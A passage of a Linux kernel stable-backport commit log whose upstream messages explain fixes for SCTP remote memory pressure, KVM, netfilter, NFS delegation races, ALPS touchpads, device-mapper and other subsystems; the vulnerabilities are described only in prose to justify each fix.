Pranav Vashi commit 5fe6f3595c9c780af3acb25ea8eb0a35810bf86b Author: Daniel Borkmann Date: Thu Oct 9 22:55:33 2014 +0200 net: sctp: fix remote memory pressure from excessive queueing commit 26b87c7881006311828bb0ab271a551a62dcceb4 upstream. This scenario is not limited to ASCONF, just taken as one example triggering the issue. When receiving ASCONF probes in the form of ... -------------- INIT[ASCONF; ASCONF_ACK] -------------> <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------ -------------------- COOKIE-ECHO --------------------> <-------------------- COOKIE-ACK --------------------- ---- ASCONF_a; [ASCONF_b; ...; ASCONF_n;] JUNK ------> [...] ---- ASCONF_m; [ASCONF_o; ...; ASCONF_z;] JUNK ------> ... where ASCONF_a, ASCONF_b, ..., ASCONF_z are good-formed ASCONFs and have increasing serial numbers, we process such ASCONF chunk(s) marked with !end_of_packet and !singleton, since we have not yet reached the SCTP packet end. SCTP does only do verification on a chunk by chunk basis, as an SCTP packet is nothing more than just a container of a stream of chunks which it eats up one by one. We could run into the case that we receive a packet with a malformed tail, above marked as trailing JUNK. All previous chunks are here goodformed, so the stack will eat up all previous chunks up to this point. In case JUNK does not fit into a chunk header and there are no more other chunks in the input queue, or in case JUNK contains a garbage chunk header, but the encoded chunk length would exceed the skb tail, or we came here from an entirely different scenario and the chunk has pdiscard=1 mark (without having had a flush point), it will happen, that we will excessively queue up the association's output queue (a correct final chunk may then turn it into a response flood when flushing the queue ;)): I ran a simple script with incremental ASCONF serial numbers and could see the server side consuming excessive amount of RAM [before/after: up to 2GB and more]. The issue at heart is that the chunk train basically ends with !end_of_packet and !singleton markers and since commit 2e3216cd54b1 ("sctp: Follow security requirement of responding with 1 packet") therefore preventing an output queue flush point in sctp_do_sm() -> sctp_cmd_interpreter() on the input chunk (chunk = event_arg) even though local_cork is set, but its precedence has changed since then. In the normal case, the last chunk with end_of_packet=1 would trigger the queue flush to accommodate possible outgoing bundling. In the input queue, sctp_inq_pop() seems to do the right thing in terms of discarding invalid chunks. So, above JUNK will not enter the state machine and instead be released and exit the sctp_assoc_bh_rcv() chunk processing loop. It's simply the flush point being missing at loop exit. Adding a try-flush approach on the output queue might not work as the underlying infrastructure might be long gone at this point due to the side-effect interpreter run. One possibility, albeit a bit of a kludge, would be to defer invalid chunk freeing into the state machine in order to possibly trigger packet discards and thus indirectly a queue flush on error. It would surely be better to discard chunks as in the current, perhaps better controlled environment, but going back and forth, it's simply architecturally not possible. I tried various trailing JUNK attack cases and it seems to look good now. Joint work with Vlad Yasevich. Fixes: 2e3216cd54b1 ("sctp: Follow security requirement of responding with 1 packet") Signed-off-by: Daniel Borkmann Signed-off-by: Vlad Yasevich Signed-off-by: David S. Miller Cc: Josh Boyer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c079ff2ea1a101b6f27f7dec95afc5693a79043c Author: Nadav Amit Date: Wed Sep 17 02:50:50 2014 +0300 KVM: x86: Don't report guest userspace emulation error to userspace commit a2b9e6c1a35afcc0973acb72e591c714e78885ff upstream. Commit fc3a9157d314 ("KVM: X86: Don't report L2 emulation failures to user-space") disabled the reporting of L2 (nested guest) emulation failures to userspace due to race-condition between a vmexit and the instruction emulator. The same rational applies also to userspace applications that are permitted by the guest OS to access MMIO area or perform PIO. This patch extends the current behavior - of injecting a #UD instead of reporting it to userspace - also for guest userspace code. Signed-off-by: Nadav Amit Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c4c6791d39a0e941773109b20acab8c80119da4b Author: Tomas Henzl Date: Thu Aug 1 15:14:00 2013 +0200 SCSI: hpsa: fix a race in cmd_free/scsi_done commit 2cc5bfaf854463d9d1aa52091f60110fbf102a96 upstream. When the driver calls scsi_done and after that frees it's internal preallocated memory it can happen that a new job is enqueud before the memory is freed. The allocation fails and the message "cmd_alloc returned NULL" is shown. Patch below fixes it by moving cmd->scsi_done after cmd_free. Signed-off-by: Tomas Henzl Acked-by: Stephen M. Cameron Signed-off-by: James Bottomley Cc: Masoud Sharbiani Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d463bf715be1d2a674c343a998bedad7fdf7d4c1 Author: Eugenia Emantayev Date: Thu Jul 25 19:21:23 2013 +0300 net/mlx4_en: Fix BlueFlame race commit 2d4b646613d6b12175b017aca18113945af1faf3 upstream. Fix a race between BlueFlame flow and stamping in post send flow. Example: SW: Build WQE 0 on the TX buffer, except the ownership bit SW: Set ownership for WQE 0 on the TX buffer SW: Ring doorbell for WQE 0 SW: Build WQE 1 on the TX buffer, except the ownership bit SW: Set ownership for WQE 1 on the TX buffer HW: Read WQE 0 and then WQE 1, before doorbell was rung/BF was done for WQE 1 HW: Produce CQEs for WQE 0 and WQE 1 SW: Process the CQEs, and stamp WQE 0 and WQE 1 accordingly (on the TX buffer) SW: Copy WQE 1 from the TX buffer to the BF register - ALREADY STAMPED! HW: CQE error with index 0xFFFF - the BF WQE's control segment is STAMPED, so the BF index is 0xFFFF. Error: Invalid Opcode. As a result QP enters the error state and no traffic can be sent. Solution: When stamping - do not stamp last completed wqe. Signed-off-by: Eugenia Emantayev Signed-off-by: Amir Vadai Signed-off-by: David S. Miller Cc: Vinson Lee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4f56ce8350e2f610ad0a622c62edbd2f70a4fdfd Author: Ben Dooks Date: Thu Jul 25 14:38:03 2013 +0100 ARM: Correct BUG() assembly to ensure it is endian-agnostic commit 63328070eff2f4fd730c86966a0dbc976147c39f upstream. Currently BUG() uses .word or .hword to create the necessary illegal instructions. However if we are building BE8 then these get swapped by the linker into different illegal instructions in the text. This means that the BUG() macro does not get trapped properly. Change to using to provide the necessary ARM instruction building as we cannot rely on gcc/gas having the `.inst` instructions which where added to try and resolve this issue (reported by Dave Martin ). Signed-off-by: Ben Dooks Reviewed-by: Dave Martin Cc: Wang Nan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 82e42457d3a3b57f0a7be77fe679c894b8161316 Author: Vince Weaver Date: Mon Jul 14 15:33:25 2014 -0400 perf/x86/intel: Use proper dTLB-load-misses event on IvyBridge commit 1996388e9f4e3444db8273bc08d25164d2967c21 upstream. This was discussed back in February: https://lkml.org/lkml/2014/2/18/956 But I never saw a patch come out of it. On IvyBridge we share the SandyBridge cache event tables, but the dTLB-load-miss event is not compatible. Patch it up after the fact to the proper DTLB_LOAD_MISSES.DEMAND_LD_MISS_CAUSES_A_WALK Signed-off-by: Vince Weaver Signed-off-by: Peter Zijlstra Cc: Arnaldo Carvalho de Melo Cc: Linus Torvalds Link: http://lkml.kernel.org/r/alpine.DEB.2.11.1407141528200.17214@vincent-weaver-1.umelst.maine.edu Signed-off-by: Ingo Molnar Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a2d19e4186fd82500cce78145b35bd069a9d1d2 Author: Alexander Usyskin Date: Mon Aug 25 16:46:53 2014 +0300 mei: bus: fix possible boundaries violation commit cfda2794b5afe7ce64ee9605c64bef0e56a48125 upstream. function 'strncpy' will fill whole buffer 'id.name' of fixed size (32) with string value and will not leave place for NULL-terminator. Possible buffer boundaries violation in following string operations. Replace strncpy with strlcpy. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bc2b8ed3e22a3b8e492785f99b00c7b171eecfe3 Author: Pawel Moll Date: Fri Jun 13 16:03:32 2014 +0100 perf: Handle compat ioctl commit b3f207855f57b9c8f43a547a801340bb5cbc59e5 upstream. When running a 32-bit userspace on a 64-bit kernel (eg. i386 application on x86_64 kernel or 32-bit arm userspace on arm64 kernel) some of the perf ioctls must be treated with special care, as they have a pointer size encoded in the command. For example, PERF_EVENT_IOC_ID in 32-bit world will be encoded as 0x80042407, but 64-bit kernel will expect 0x80082407. In result the ioctl will fail returning -ENOTTY. This patch solves the problem by adding code fixing up the size as compat_ioctl file operation. Reported-by: Drew Richardson Signed-off-by: Pawel Moll Signed-off-by: Peter Zijlstra Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Link: http://lkml.kernel.org/r/1402671812-9078-1-git-send-email-pawel.moll@arm.com Signed-off-by: Ingo Molnar Signed-off-by: David Ahern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a3b8ef8c3f48546632c2578054ceb12ab9ce4be Author: Yoichi Yuasa Date: Wed Oct 2 15:03:03 2013 +0900 MIPS: Fix forgotten preempt_enable() when CPU has inclusive pcaches commit 5596b0b245fb9d2cefb5023b11061050351c1398 upstream. [ 1.904000] BUG: scheduling while atomic: swapper/1/0x00000002 [ 1.908000] Modules linked in: [ 1.916000] CPU: 0 PID: 1 Comm: swapper Not tainted 3.12.0-rc2-lemote-los.git-5318619-dirty #1 [ 1.920000] Stack : 0000000031aac000 ffffffff810d0000 0000000000000052 ffffffff802730a4 0000000000000000 0000000000000001 ffffffff810cdf90 ffffffff810d0000 ffffffff8068b968 ffffffff806f5537 ffffffff810cdf90 980000009f0782e8 0000000000000001 ffffffff80720000 ffffffff806b0000 980000009f078000 980000009f290000 ffffffff805f312c 980000009f05b5d8 ffffffff80233518 980000009f05b5e8 ffffffff80274b7c 980000009f078000 ffffffff8068b968 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 980000009f05b520 0000000000000000 ffffffff805f2f6c 0000000000000000 ffffffff80700000 ffffffff80700000 ffffffff806fc758 ffffffff80700000 ffffffff8020be98 ffffffff806fceb0 ffffffff805f2f6c ... [ 2.028000] Call Trace: [ 2.032000] [] show_stack+0x80/0x98 [ 2.036000] [] __schedule_bug+0x44/0x6c [ 2.040000] [] __schedule+0x518/0x5b0 [ 2.044000] [] schedule_timeout+0x128/0x1f0 [ 2.048000] [] msleep+0x3c/0x60 [ 2.052000] [] do_probe+0x238/0x3a8 [ 2.056000] [] ide_probe_port+0x340/0x7e8 [ 2.060000] [] ide_host_register+0x2d0/0x7a8 [ 2.064000] [] ide_pci_init_two+0x4e4/0x790 [ 2.068000] [] amd74xx_probe+0x148/0x2c8 [ 2.072000] [] pci_device_probe+0xc4/0x130 [ 2.076000] [] driver_probe_device+0x98/0x270 [ 2.080000] [] __driver_attach+0xe0/0xe8 [ 2.084000] [] bus_for_each_dev+0x78/0xe0 [ 2.088000] [] bus_add_driver+0x230/0x310 [ 2.092000] [] driver_register+0x84/0x158 [ 2.096000] [] do_one_initcall+0x104/0x160 Signed-off-by: Yoichi Yuasa Reported-by: Aaro Koskinen Tested-by: Aaro Koskinen Cc: linux-mips@linux-mips.org Cc: Linux Kernel Mailing List Patchwork: https://patchwork.linux-mips.org/patch/5941/ Signed-off-by: Ralf Baechle Cc: Alexandre Oliva Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 55e725384e6f3c066e764f2250fe6e8521dacb91 Author: Pali Rohár Date: Mon Sep 29 15:10:51 2014 +0200 dell-wmi: Fix access out of memory commit a666b6ffbc9b6705a3ced704f52c3fe9ea8bf959 upstream. Without this patch, dell-wmi is trying to access elements of dynamically allocated array without checking the array size. This can lead to memory corruption or a kernel panic. This patch adds the missing checks for array size. Signed-off-by: Pali Rohár Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7922d8489fce7d69cbea1af4376ea4079fd11ca8 Author: Ben Dooks Date: Fri Nov 8 18:29:25 2013 +0000 ARM: probes: fix instruction fetch order with commit 888be25402021a425da3e85e2d5a954d7509286e upstream. If we are running BE8, the data and instruction endianness do not match, so use to correctly translate memory accesses into ARM instructions. Acked-by: Jon Medhurst Signed-off-by: Ben Dooks [taras.kondratiuk@linaro.org: fixed Thumb instruction fetch order] Signed-off-by: Taras Kondratiuk [wangnan: backport to 3.10 and 3.14: - adjust context - backport all changes on arch/arm/kernel/probes.c to arch/arm/kernel/kprobes-common.c since we don't have commit c18377c303787ded44b7decd7dee694db0f205e9. - After the above adjustments, becomes same to Taras Kondratiuk's original patch: http://lists.linaro.org/pipermail/linaro-kernel/2014-January/010346.html ] Signed-off-by: Wang Nan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6db69df29e50d716160490d5b6343ac4a54a36ab Author: Jiri Pirko Date: Thu Dec 5 16:27:37 2013 +0100 br: fix use of ->rx_handler_data in code executed on non-rx_handler path commit 859828c0ea476b42f3a93d69d117aaba90994b6f upstream. br_stp_rcv() is reached by non-rx_handler path. That means there is no guarantee that dev is bridge port and therefore simple NULL check of ->rx_handler_data is not enough. There is need to check if dev is really bridge port and since only rcu read lock is held here, do it by checking ->rx_handler pointer. Note that synchronize_net() in netdev_rx_handler_unregister() ensures this approach as valid. Introduced originally by: commit f350a0a87374418635689471606454abc7beaa3a "bridge: use rx_handler_data pointer to store net_bridge_port pointer" Fixed but not in the best way by: commit b5ed54e94d324f17c97852296d61a143f01b227a "bridge: fix RCU races with bridge port" Reintroduced by: commit 716ec052d2280d511e10e90ad54a86f5b5d4dcc2 "bridge: fix NULL pointer deref of br_port_get_rcu" Please apply to stable trees as well. Thanks. RH bugzilla reference: https://bugzilla.redhat.com/show_bug.cgi?id=1025770 Reported-by: Laine Stump Debugged-by: Michael S. Tsirkin Signed-off-by: Michael S. Tsirkin Signed-off-by: Jiri Pirko Acked-by: Michael S. Tsirkin Acked-by: Eric Dumazet Signed-off-by: David S. Miller Cc: Andrew Collins Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a586566dcee40fdd8e96de2d6682dd4f9ea85eb Author: Florian Westphal Date: Sat Jun 7 21:17:04 2014 +0200 netfilter: nf_nat: fix oops on netns removal commit 945b2b2d259d1a4364a2799e80e8ff32f8c6ee6f upstream. Quoting Samu Kallio: Basically what's happening is, during netns cleanup, nf_nat_net_exit gets called before ipv4_net_exit. As I understand it, nf_nat_net_exit is supposed to kill any conntrack entries which have NAT context (through nf_ct_iterate_cleanup), but for some reason this doesn't happen (perhaps something else is still holding refs to those entries?). When ipv4_net_exit is called, conntrack entries (including those with NAT context) are cleaned up, but the nat_bysource hashtable is long gone - freed in nf_nat_net_exit. The bug happens when attempting to free a conntrack entry whose NAT hash 'prev' field points to a slot in the freed hash table (head for that bin). We ignore conntracks with null nat bindings. But this is wrong, as these are in bysource hash table as well. Restore nat-cleaning for the netns-is-being-removed case. bug: https://bugzilla.kernel.org/show_bug.cgi?id=65191 Fixes: c2d421e1718 ('netfilter: nf_nat: fix race when unloading protocol modules') Reported-by: Samu Kallio Debugged-by: Samu Kallio Signed-off-by: Florian Westphal Tested-by: Samu Kallio Signed-off-by: Pablo Neira Ayuso [samu.kallio@aberdeencloud.com: backport to 3.10-stable] Signed-off-by: Samu Kallio Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1def8fe0d9f0b673e47320c0b546172b95b05b99 Author: Pablo Neira Date: Tue Jul 29 18:12:15 2014 +0200 netfilter: xt_bpf: add mising opaque struct sk_filter definition commit e10038a8ec06ac819b7552bb67aaa6d2d6f850c1 upstream. This structure is not exposed to userspace, so fix this by defining struct sk_filter; so we skip the casting in kernelspace. This is safe since userspace has no way to lurk with that internal pointer. Fixes: e6f30c7 ("netfilter: x_tables: add xt_bpf match") Signed-off-by: Pablo Neira Ayuso Acked-by: Willem de Bruijn Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 77857cd602374cff4dbe7fbe4b74b46d3015a3d5 Author: Houcheng Lin Date: Thu Oct 23 10:36:08 2014 +0200 netfilter: nf_log: release skbuff on nlmsg put failure commit b51d3fa364885a2c1e1668f88776c67c95291820 upstream. The kernel should reserve enough room in the skb so that the DONE message can always be appended. However, in case of e.g. new attribute erronously not being size-accounted for, __nfulnl_send() will still try to put next nlmsg into this full skbuf, causing the skb to be stuck forever and blocking delivery of further messages. Fix issue by releasing skb immediately after nlmsg_put error and WARN() so we can track down the cause of such size mismatch. [ fw@strlen.de: add tailroom/len info to WARN ] Signed-off-by: Houcheng Lin Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit edfa2afb60033f24406cb513c941372b7e4b210d Author: Florian Westphal Date: Thu Oct 23 10:36:07 2014 +0200 netfilter: nfnetlink_log: fix maximum packet length logged to userspace commit c1e7dc91eed0ed1a51c9b814d648db18bf8fc6e9 upstream. don't try to queue payloads > 0xffff - NLA_HDRLEN, it does not work. The nla length includes the size of the nla struct, so anything larger results in u16 integer overflow. This patch is similar to 9cefbbc9c8f9abe (netfilter: nfnetlink_queue: cleanup copy_range usage). Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fef57dab2343396cdea2e7c4a993f123ce8bd407 Author: Florian Westphal Date: Thu Oct 23 10:36:06 2014 +0200 netfilter: nf_log: account for size of NLMSG_DONE attribute commit 9dfa1dfe4d5e5e66a991321ab08afe69759d797a upstream. We currently neither account for the nlattr size, nor do we consider the size of the trailing NLMSG_DONE when allocating nlmsg skb. This can result in nflog to stop working, as __nfulnl_send() re-tries sending forever if it failed to append NLMSG_DONE (which will never work if buffer is not large enough). Reported-by: Houcheng Lin Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fe7866f213c5bb76f34d9a736930d518008dfff Author: Andrey Vagin Date: Mon Oct 13 15:54:10 2014 -0700 ipc: always handle a new value of auto_msgmni commit 1195d94e006b23c6292e78857e154872e33b6d7e upstream. proc_dointvec_minmax() returns zero if a new value has been set. So we don't need to check all charecters have been handled. Below you can find two examples. In the new value has not been handled properly. $ strace ./a.out open("/proc/sys/kernel/auto_msgmni", O_WRONLY) = 3 write(3, "0\n\0", 3) = 2 close(3) = 0 exit_group(0) $ cat /sys/kernel/debug/tracing/trace $strace ./a.out open("/proc/sys/kernel/auto_msgmni", O_WRONLY) = 3 write(3, "0\n", 2) = 2 close(3) = 0 $ cat /sys/kernel/debug/tracing/trace a.out-697 [000] .... 3280.998235: unregister_ipcns_notifier <-proc_ipcauto_dointvec_minmax Fixes: 9eefe520c814 ("ipc: do not use a negative value to re-enable msgmni automatic recomputin") Signed-off-by: Andrey Vagin Cc: Mathias Krause Cc: Manfred Spraul Cc: Joe Perches Cc: Davidlohr Bueso Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 000e6de8b02ef67d3b2821e7ad1f864988e3bc7d Author: Bjorn Helgaas Date: Mon Oct 13 18:59:09 2014 -0600 clocksource: Remove "weak" from clocksource_default_clock() declaration commit 96a2adbc6f501996418da9f7afe39bf0e4d006a9 upstream. kernel/time/jiffies.c provides a default clocksource_default_clock() definition explicitly marked "weak". arch/s390 provides its own definition intended to override the default, but the "weak" attribute on the declaration applied to the s390 definition as well, so the linker chose one based on link order (see 10629d711ed7 ("PCI: Remove __weak annotation from pcibios_get_phb_of_node decl")). Remove the "weak" attribute from the clocksource_default_clock() declaration so we always prefer a non-weak definition over the weak one, independent of link order. Fixes: f1b82746c1e9 ("clocksource: Cleanup clocksource selection") Signed-off-by: Bjorn Helgaas Acked-by: John Stultz Acked-by: Ingo Molnar CC: Daniel Lezcano CC: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2092b494c1becb7c1017f3bbff8ee0c86873131a Author: Bjorn Helgaas Date: Mon Oct 13 19:00:25 2014 -0600 kgdb: Remove "weak" from kgdb_arch_pc() declaration commit 107bcc6d566cb40184068d888637f9aefe6252dd upstream. kernel/debug/debug_core.c provides a default kgdb_arch_pc() definition explicitly marked "weak". Several architectures provide their own definitions intended to override the default, but the "weak" attribute on the declaration applied to the arch definitions as well, so the linker chose one based on link order (see 10629d711ed7 ("PCI: Remove __weak annotation from pcibios_get_phb_of_node decl")). Remove the "weak" attribute from the declaration so we always prefer a non-weak definition over the weak one, independent of link order. Fixes: 688b744d8bc8 ("kgdb: fix signedness mixmatches, add statics, add declaration to header") Tested-by: Vineet Gupta # for ARC build Signed-off-by: Bjorn Helgaas Reviewed-by: Harvey Harrison Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ffc7af0ef2b50507c2ef5bed3b7fa6080f705b47 Author: Dan Carpenter Date: Fri Sep 5 09:09:28 2014 -0300 media: ttusb-dec: buffer overflow in ioctl commit f2e323ec96077642d397bb1c355def536d489d16 upstream. We need to add a limit check here so we don't overflow the buffer. Signed-off-by: Dan Carpenter Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b748ef8196059b115898b8465e1eb20b66d22fbe Author: Trond Myklebust Date: Mon Nov 10 18:43:56 2014 -0500 NFSv4: Fix races between nfs_remove_bad_delegation() and delegation return commit 869f9dfa4d6d57b79e0afc3af14772c2a023eeb1 upstream. Any attempt to call nfs_remove_bad_delegation() while a delegation is being returned is currently a no-op. This means that we can end up looping forever in nfs_end_delegation_return() if something causes the delegation to be revoked. This patch adds a mechanism whereby the state recovery code can communicate to the delegation return code that the delegation is no longer valid and that it should not be used when reclaiming state. It also changes the return value for nfs4_handle_delegation_recall_error() to ensure that nfs_end_delegation_return() does not reattempt the lock reclaim before state recovery is done. http://lkml.kernel.org/r/CAN-5tyHwG=Cn2Q9KsHWadewjpTTy_K26ee+UnSvHvG4192p-Xw@mail.gmail.com Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e97c5e96d9122e69f68963e205ba10d466a7076d Author: Jan Kara Date: Thu Oct 23 14:02:47 2014 +0200 nfs: Fix use of uninitialized variable in nfs_getattr() commit 16caf5b6101d03335b386e77e9e14136f989be87 upstream. Variable 'err' needn't be initialized when nfs_getattr() uses it to check whether it should call generic_fillattr() or not. That can result in spurious error returns. Initialize 'err' properly. Signed-off-by: Jan Kara Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 520135c42f850d1566176d6f72f4d247699c7275 Author: Trond Myklebust Date: Fri Oct 17 23:02:52 2014 +0300 NFS: Don't try to reclaim delegation open state if recovery failed commit f8ebf7a8ca35dde321f0cd385fee6f1950609367 upstream. If state recovery failed, then we should not attempt to reclaim delegated state. http://lkml.kernel.org/r/CAN-5tyHwG=Cn2Q9KsHWadewjpTTy_K26ee+UnSvHvG4192p-Xw@mail.gmail.com Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b99b0f8d03a6d70326dffe82f4bb2a33ea3c6693 Author: Trond Myklebust Date: Fri Oct 17 15:10:25 2014 +0300 NFSv4: Ensure that we remove NFSv4.0 delegations when state has expired commit 4dfd4f7af0afd201706ad186352ca423b0f17d4b upstream. NFSv4.0 does not have TEST_STATEID/FREE_STATEID functionality, so unlike NFSv4.1, the recovery procedure when stateids have expired or have been revoked requires us to just forget the delegation. http://lkml.kernel.org/r/CAN-5tyHwG=Cn2Q9KsHWadewjpTTy_K26ee+UnSvHvG4192p-Xw@mail.gmail.com Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5c0f2d30adab8cbc7bec002cbaa454f26163259f Author: Pali Rohár Date: Sat Nov 8 12:58:57 2014 -0800 Input: alps - allow up to 2 invalid packets without resetting device commit 9d720b34c0a432639252f63012e18b0507f5b432 upstream. On some Dell Latitude laptops ALPS device or Dell EC send one invalid byte in 6 bytes ALPS packet. In this case psmouse driver enter out of sync state. It looks like that all other bytes in packets are valid and also device working properly. So there is no need to do full device reset, just need to wait for byte which match condition for first byte (start of packet). Because ALPS packets are bigger (6 or 8 bytes) default limit is small. This patch increase number of invalid bytes to size of 2 ALPS packets which psmouse driver can drop before do full reset. Resetting ALPS devices take some time and when doing reset on some Dell laptops touchpad, trackstick and also keyboard do not respond. So it is better to do it only if really necessary. Signed-off-by: Pali Rohár Tested-by: Pali Rohár Reviewed-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f50b0603294b8763405c9e6f3a403693d7e1bf40 Author: Pali Rohár Date: Sat Nov 8 12:45:23 2014 -0800 Input: alps - ignore potential bare packets when device is out of sync commit 4ab8f7f320f91f279c3f06a9795cfea5c972888a upstream. 5th and 6th byte of ALPS trackstick V3 protocol match condition for first byte of PS/2 3 bytes packet. When driver enters out of sync state and ALPS trackstick is sending data then driver match 5th, 6th and next 1st bytes as PS/2. It basically means if user is using trackstick when driver is in out of sync state driver will never resync. Processing these bytes as 3 bytes PS/2 data cause total mess (random cursor movements, random clicks) and make trackstick unusable until psmouse driver decide to do full device reset. Lot of users reported problems with ALPS devices on Dell Latitude E6440, E6540 and E7440 laptops. ALPS device or Dell EC for unknown reason send some invalid ALPS PS/2 bytes which cause driver out of sync. It looks like that i8042 and psmouse/alps driver always receive group of 6 bytes packets so there are no missing bytes and no bytes were inserted between valid ones. This patch does not fix root of problem with ALPS devices found in Dell Latitude laptops but it does not allow to process some (invalid) subsequence of 6 bytes ALPS packets as 3 bytes PS/2 when driver is out of sync. So with this patch trackstick input device does not report bogus data when also driver is out of sync, so trackstick should be usable on those machines. Signed-off-by: Pali Rohár Tested-by: Pali Rohár Reviewed-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 51c08a9027d14f576b2c7612877bcafdf8b2b17a Author: Heinz Mauelshagen Date: Fri Oct 17 13:38:50 2014 +0200 dm raid: ensure superblock's size matches device's logical block size commit 40d43c4b4cac4c2647bf07110d7b07d35f399a84 upstream. The dm-raid superblock (struct dm_raid_superblock) is padded to 512 bytes and that size is being used to read it in from the metadata device into one preallocated page. Reading or writing this on a 512-byte sector device works fine but on a 4096-byte sector device this fails. Set the dm-raid superblock's size to the logical block size of the metadata device, because IO at that size is guaranteed too work. Also add a size check to avoid silent partial metadata loss in case the superblock should ever grow past the logical block size or PAGE_SIZE. [includes pointer math fix from Dan Carpenter] Reported-by: "Liuhua Wang" Signed-off-by: Heinz Mauelshagen Signed-off-by: Dan Carpenter Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 49413efc5079d0881cd7ce70c1ee15d6311234d2 Author: Joe Thornber Date: Mon Nov 10 15:03:24 2014 +0000 dm btree: fix a recursion depth bug in btree walking code commit 9b460d3699324d570a4d4161c3741431887f102f upstream. The walk code was using a 'ro_spine' to hold it's locked btree nodes. But this data structure is designed for the rolling lock scheme, and as such automatically unlocks blocks that are two steps up the call chain. This is not suitable for the simple recursive walk algorithm, which retraces its steps. This code is only used by the persistent array code, which in turn is only used by dm-cache. In order to trigger it you need to have a mapping tree that is more than 2 levels deep; which equates to 8-16 million cache blocks. For instance a 4T ssd with a very small block size of 32k only just triggers this bug. The fix just places the locked blocks on the stack, and stops using the ro_spine altogether. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4433e1af6a1fe57abc78f070daa9aadacac73cb3 Author: Jan Kara Date: Thu Oct 30 20:43:38 2014 +0100 block: Fix computation of merged request priority commit ece9c72accdc45c3a9484dacb1125ce572647288 upstream. Priority of a merged request is computed by ioprio_best(). If one of the requests has undefined priority (IOPRIO_CLASS_NONE) and another request has priority from IOPRIO_CLASS_BE, the function will return the undefined priority which is wrong. Fix the function to properly return priority of a request with the defined priority. Fixes: d58cdfb89ce0c6bd5f81ae931a984ef298dbda20 Signed-off-by: Jan Kara Reviewed-by: Jeff Moyer Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c865e8b47d869402fef61d80d8db1068e0dc6e37 Author: Helge Deller Date: Mon Nov 10 21:46:18 2014 +0100 parisc: Use compat layer for msgctl, shmat, shmctl and semtimedop syscalls commit 2fe749f50b0bec07650ef135b29b1f55bf543869 upstream. Switch over the msgctl, shmat, shmctl and semtimedop syscalls to use the compat layer. The problem was found with the debian procenv package, which called shmctl(0, SHM_INFO, &info); in which the shmctl syscall then overwrote parts of the surrounding areas on the stack on which the info variable was stored and thus lead to a segfault later on. Additionally fix the definition of struct shminfo64 to use unsigned longs like the other architectures. This has no impact on userspace since we only have a 32bit userspace up to now. Signed-off-by: Helge Deller Cc: John David Anglin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 98c9e5e3737f111266391a0f2f52b5affce2e56c Author: Christoph Hellwig Date: Mon Nov 3 19:36:40 2014 +0100 scsi: only re-lock door after EH on devices that were reset commit 48379270fe6808cf4612ee094adc8da2b7a83baa upstream. Setups that use the blk-mq I/O path can lock up if a host with a single device that has its door locked enters EH. Make sure to only send the command to re-lock the door to devices that actually were reset and thus might have lost their state. Otherwise the EH code might be get blocked on blk_get_request as all requests for non-reset devices might be in use. Signed-off-by: Christoph Hellwig Reported-by: Meelis Roos Tested-by: Meelis Roos Reviewed-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 44e8676568d426e6496d098053fd0b9848bb6769 Author: Peng Tao Date: Wed Nov 5 22:36:50 2014 +0800 nfs: fix pnfs direct write memory leak commit 8c393f9a721c30a030049a680e1bf896669bb279 upstream. For pNFS direct writes, layout driver may dynamically allocate ds_cinfo.buckets. So we need to take care to free them when freeing dreq. Ideally this needs to be done inside layout driver where ds_cinfo.buckets are allocated. But buckets are attached 